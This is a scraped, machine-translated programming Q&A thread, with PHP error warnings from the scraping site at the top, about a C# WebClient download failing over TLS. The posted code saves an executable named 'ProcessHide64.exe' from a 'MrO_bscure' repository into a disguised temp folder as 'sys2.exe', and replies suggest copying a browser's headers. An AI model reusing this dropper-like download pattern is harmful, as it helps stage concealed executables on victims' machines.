Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/csharp/281.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/docker/9.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C# WebClient Exception基础连接已关闭:发送|.NET 2.0时发生意外错误_C#_.net_Webclient - Fatal编程技术网

C# WebClient Exception基础连接已关闭:发送|.NET 2.0时发生意外错误

C# WebClient Exception基础连接已关闭:发送|.NET 2.0时发生意外错误,c#,.net,webclient,C#,.net,Webclient,我正在编写一个新项目,我正在制作一个网络客户端,将文件下载到磁盘上 我的代码是 string Temp = Path.GetTempPath(); Directory.CreateDirectory(Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12"); WebClient Client = new WebClient(); ServicePointManager.SecurityPr

我正在编写一个新项目,我正在制作一个网络客户端,将文件下载到磁盘上 我的代码是


string Temp = Path.GetTempPath();
        Directory.CreateDirectory(Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12");
        WebClient Client = new WebClient();
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
         Client.Headers.Add("user-agent", "Mozilla");
        Client.DownloadFile(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHide64.exe?raw=true"), Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\sys2.exe");


将您的URL放入chrome并验证URL是否正确。我能说的就是连接没有完成。不确定URL是否错误或设置是否错误。不,URL是否正常工作?我将尝试使用其他用户代理。您可以使用嗅探器来验证正在工作的Chrome使用了什么用户代理。看:有人帮忙吗!?您必须使用嗅探器找出Chrome头和c#应用程序之间的第一个请求的差异。使c#应用程序头看起来像Chrome头。